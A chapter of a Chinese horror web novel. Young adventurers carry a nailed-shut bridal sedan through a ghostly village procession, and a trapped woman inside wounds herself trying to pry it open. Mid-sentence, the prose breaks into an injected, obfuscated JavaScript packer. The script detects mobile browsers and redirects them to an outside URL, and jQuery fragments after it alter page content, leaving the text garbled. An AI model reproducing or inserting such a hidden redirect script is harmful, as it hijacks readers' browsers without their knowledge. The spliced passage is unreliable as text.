关以宁 作品

48. 第 48 章

    顾临川一行人抬着那顶散发着浓重血腥味和邪异香味长方形花轿,出现在祠堂昏暗的门框下。


    “喜轿就放这里吧,脏兮兮的怎么行?快去洗个澡,换上喜庆的送嫁服。”村长甚至都没有抬头看他们一眼,此刻的他如同猫儿见了小鱼,蜜蜂见了花蜜,苍蝇见了狗屎,围着花轿欢喜的团团转,就差没扑上去跪舔,嘴里不断的叨叨:“还得是老木匠的手艺……”


    路池心里骂他变态,恶劣的想:这么喜欢,给你打扮打扮坐上去啊!


    想到老村长一把年纪了还头戴花冠,身披嫁衣,一脸娇羞坐进花轿里,他就忍不住想笑。


    真是阿弥陀佛,罪过罪过。


    洗过澡,换过衣,吃过饭,天已经完全黑了。


    祠堂里,花轿长方形、棱角分明、盖子被四根长钉子钉住了。轿身上用金漆绘制的八臂神像显得狰狞而诡异,那神像的眼睛仿佛正透过轿身,冷冷地“注视”着祠堂内的一切。


    刺目的红绸、惨白的纸花、猩红的烛泪、花轿!


    路池打个冷颤:阴气森森。


    “送嫁啰!”


    村长声音嘶哑中带着狂热,祠堂里的灯笼在此时突然亮起,为朦胧黑夜蒙上一层红色的飘纱。


    “一……二……三……抬!”


    八抬喜轿离地,顾临川感觉肩膀上沉甸甸的,才走半步,像是某种信号,前面忽然出现一队人拿着灯笼引路,身后突然出现一支吹吹打打的队伍送嫁。


    如同鬼魅!


    呜咽的唢呐响起,尖锐刺耳,不成曲调。沉闷的鼓点“咚咚咚”,一锤一锤的敲在人心口,震的人胸腔发麻。铜锣“哐啷哐当”的乱响,毫无节奏,只有一片喧哗的噪音。


    顾临川对音乐向来非常敏感,此刻置身于一片喧哗的噪音中,对他来说无疑是种深深地折磨。


    音乐响起的瞬间,整个村庄像是从沉睡中醒了过来,村里狭长的青石板路旁挤满了村民。


    “这村子里什么时候住了这么多人了?”路池心里发毛,小声的说。


    顾临川不露痕迹的扫视了一圈:“呵,人?你睁开眼睛看看。”


    路池定睛一看,腿一软,差点没把手里的轿子扔出去。


    只见围绕着他们的村民一个个脸上敷着劣质的香粉,为了均衡惨白的脸色,脸颊上又涂了两坨油腻腻的腮红,眼珠子漆黑,嘴角扯开一个僵硬的笑。双手机械的,持续不断的拍掌。像提前录音了一样,嘴里发出重复的欢呼,簇拥着这顶诡异的花轿。


    顾临川瞪他:“你要敢跑我打断你的狗腿。”


    何旭快哭出来了,村名漆黑的眼珠子快要贴到他脸上,带着腥臭的呼吸扑面而来:“别过来,别过来啊,我一个大男人,我,我跟你们……你说说,如果现在给你们跪下能不能放过我?”


    路池心里也在疯狂打鼓,脸上还装的跟什么似的,他义正言辞:“跑什么跑,男子汉大丈夫!还有你啊何旭,说跪就跪,也太没出息了!”话锋一转,“何旭,我的哥,要不你先给他们磕一个试一试,我先看看效果……”


    顾临川挑眉,故作低沉:“看来我们中间出了投降派。”


    何旭不满的反驳:“谁?谁投降了!”


    路池脸皮一向很厚,理所当然的回:“咱们这是保存实力……”


    顾临川“呵呵”一笑:“村长可是提前说了,没到地方喜轿不能落地,”


    肩膀上的轿子感觉更沉了,何旭一把鼻涕一把泪:“我发誓,等彻底脱离了这个乱七八糟的恐怖世界,我一定老老实实的回家躺平,一天班都不再上了,我这段时间已经吧我这辈子的班都上完了!”


    上够了,上吐了!


    什么证明自己,都见鬼去吧,他能活这么久没死没疯,就是对自己实力最好的证明了!


    路池侧目:“呦,想开了?不创业了?不炒股了?不蹦极了?不跳伞了?不飙车了?不……”


    何旭咬牙切齿,面目扭曲:“不干了不干了!想开了!”


    路池一脸深思状:“你颓了?我怎么感觉我更强了呢?”


    开玩笑,这么恐怖的世界他居然都没挂,他不是天选之人,气运之子是什么?啧啧……可惜夏星月不再,不然他高低得对她说一句:你不用再好强了,你的强来了,哈哈哈!


    夏星月那疯婆娘听了不得踹他两脚?


    想到这里,路池猛然想起:哦,对了,夏星月呢,怎么不见了?还有那个文娜也不在,不晓得那个老巫婆把她们俩个带到什么地方去了。


    纸钱,雪花一样纷纷扬扬,在红灯笼微弱的火光中翻飞,旋转,从天而降,厚厚的如同积雪,在地上落下一层又一层。


    “粘脖子上了!”前面抬轿的一人烦躁的吵嚷。


    “啊……黏我眼睛了!”


    “妈蛋,这些人疯了吧,这是送亲还是送葬啊?”


    “少说话,稳住轿子。”顾临川高声道,“注意脚下。”


    乡间小路铺满了大大小小不平坦的石头,弯曲崎岖,每一次颠簸,肩膀上的杠子都好像要压断他的骨头。


    路池在后头,汗水黏住纸屑,又痒又难受,不得不频繁的侧头用肩膀擦脸。借着灯笼摇晃朦胧的红光,他好像看到喜轿在一滴一滴往外面喷血,鲜血喷涌而来,如同大浪涛涛,一个浪头打过来,要把他生吞活剥。


    “咦——”他蒙的回过神,赶紧别开眼。


    队伍蜿蜒前行,很快离开村庄,身后渐行渐远的村口传来喜庆祝福的鞭炮,锣鼓唢呐的喧嚣在寂静的荒山野岭不断回荡。灯笼的光晕太暗淡了,只能照亮脚下的路,更远处是无边无际,如墨般的黑暗。


    了无声息,除了树叶被风吹拂,沙沙作响。


    了无声息,除了树影在地上被拉长,扭曲


    时间在绝对的黑暗面前是不存在的,夏星月又闷又热,全身如同水洗,从头发丝到脚趾头都已经湿透了。


    侧耳听着外面喧哗的奏乐,还有几人断断续


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781588|169719||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    续的讨论,绝望像冰冷的藤蔓,一寸一寸的勒紧她的心脏。


    不行,不到断气那一刻,她绝不认输!夏星月倔强的想:想我就这么乖乖赴死,哼,想都不要想,没门!没门!


    夏星月咬紧牙关,口腔里满是血腥味,一股不认命的劲头梗在心里,她用尽了全力的力气,曲起膝盖,一次又一次狠狠地撞击身侧坚硬的木板。


    “咚……咚……咚……”


    沉闷的声音在密闭的空间回荡,可是居然一丝一毫也没有传到外面,声波撞到木头上,如同石沉大海,别说声音,连微弱的震动都没有!


    她猛地想起自己不是还有一把匕首吗!冰冷坚硬的触感入手,给她带来一丝微弱的力量。她摸索着,找到轿厢盖板与侧壁之间那条几乎难以察觉的木缝,将匕首最锋利的尖端死死地抵了进去。


    撬!用力撬!


    她用肩膀顶住轿壁,双手紧握刀柄,将全身的重量和残存的所有力气都压了上去!


    手臂的肌肉因过度用力而剧烈颤抖,指节因紧握而发白,汗水混合着血水从额角滑落。


    开啊,给劳资开啊!开个洞让我吸口气也行啊,我的天菩萨啊!


    “呃啊——!”她喉咙里发出压抑的低吼,牙龈几乎咬碎。


    她用尽全力,匕首的尖端也就在坚硬的木头上刮下一点点木屑。她能感觉到刀身因为巨大的压力在微微弯曲,随时可能折断。但那道缝隙,居然纹丝不动!


    不是吧,这木头可真是神了,别是黄金长的吧?要真是黄金长的她可真没辙了!


    四块木板,如同不可撼动的封印,将她牢牢锁死在这移动的棺材里。


    外面的乐声似乎更喧嚣了,那不成调的唢呐像鬼哭。这么难听,给我送葬?夏星月心说自己要真死了,黄泉路上被他们总这样鬼哭狼嚎来折磨,大概率会被吵的忍无可忍,给他们原地表演一个借尸还魂,吓死这帮龟孙子。


    时间一分一秒的过去,绝望如同冰冷的潮水,再次汹涌地漫上来,几乎要将她淹没。


    她捏着匕首,手里的伤口因为用力过猛又绷开了,疼的她呲牙咧嘴,又是一通国骂。


    撬不开!根本撬不开!


    剧痛让她眼前发黑,几乎晕厥。手掌的伤口有多深她不知道,但是鲜血汩汩涌出,迅速在狭小的空间里弥漫开更加浓烈的血腥气。


    我的老天奶。夏星月迷迷糊糊的想,流这么多血,得吃多少东西才补得回来啊?


    剧痛和失血带来的虚弱感如同冰冷的铁钳,紧紧扼住了她的喉咙。


    完了吗……真的……要死在这里了?


    她用没受伤的手死死捂住血流如注的伤口,试图自救,身体因剧痛和寒冷而剧烈颤抖,蜷缩在冰冷的、沾满自己鲜血的轿底。


    不知道是缺氧还是失血过多,意识开始模糊,黑暗变得更加深沉,仿佛有无数双来阴曹地府的眼睛,在黑暗中无声地、冰冷地注视着她,等待她生命的最后一点光芒熄灭。